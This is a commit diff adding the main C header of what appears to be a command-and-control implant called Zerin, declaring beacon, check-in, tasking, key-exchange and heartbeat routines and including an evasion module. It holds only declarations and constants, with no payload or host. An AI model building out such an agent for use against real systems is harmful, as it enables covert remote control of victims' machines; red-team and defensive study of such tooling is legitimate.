initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
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+#ifndef ZERIN_H
+#define ZERIN_H
+
+#define ZERIN_VERSION_MAJOR 1
+#define ZERIN_VERSION_MINOR 0
+#define ZERIN_VERSION_PATCH 0
+
+#define ZERIN_MAX_PAYLOAD     (1024 * 1024 * 4)  // 4 MB max message
+#define ZERIN_MAX_TASKS       64
+#define ZERIN_AGENT_ID_LEN    37                  // UUID + null
+#define ZERIN_KEY_SIZE        32
+#define ZERIN_NONCE_SIZE      12
+#define ZERIN_TAG_SIZE        16
+#define ZERIN_SHA256_SIZE     32
+
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+#ifdef _WIN32
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#endif
+
+// Result codes
+#define ZERIN_OK              0
+#define ZERIN_ERR_CRYPTO      -1
+#define ZERIN_ERR_TRANSPORT   -2
+#define ZERIN_ERR_PROTOCOL    -3
+#define ZERIN_ERR_CONFIG      -4
+#define ZERIN_ERR_MEMORY      -5
+#define ZERIN_ERR_TIMEOUT     -6
+#define ZERIN_ERR_KILLED      -7
+
+// Message types (matches proto enum)
+#define MSG_UNKNOWN             0
+#define MSG_CHECKIN             1
+#define MSG_CHECKIN_ACK         2
+#define MSG_TASK_REQUEST        3
+#define MSG_TASK_RESPONSE       4
+#define MSG_TASK_RESULT         5
+#define MSG_HEARTBEAT           6
+#define MSG_HEARTBEAT_ACK       7
+#define MSG_EXIT                8
+
+#include "config.h"
+#include "crypto.h"
+#include "transport.h"
+#include "protocol.h"
+#include "commands.h"
+#include "platform.h"
+#include "evasion.h"
+
+// Global agent state
+typedef struct {
+    zerin_config_t    config;
+    uint8_t             session_key[ZERIN_KEY_SIZE];
+    bool                session_established;
+    uint64_t            sequence_number;
+    char                cwd[MAX_PATH];
+    bool                running;
+} zerin_agent_t;
+
+// Base64 encoding
+char *base64_encode(const uint8_t *data, size_t len, size_t *out_len);
+
+// Core functions
+int zerin_init(zerin_agent_t *agent);
+int zerin_key_exchange(zerin_agent_t *agent);
+int zerin_beacon_loop(zerin_agent_t *agent);
+void zerin_cleanup(zerin_agent_t *agent);
+
+// Debug mode (plaintext JSON beacons, no crypto)
+#ifdef _DEBUG
+int debug_checkin(zerin_agent_t *agent);
+int debug_beacon_loop(zerin_agent_t *agent);
+#endif
+
+#endif // ZERIN_H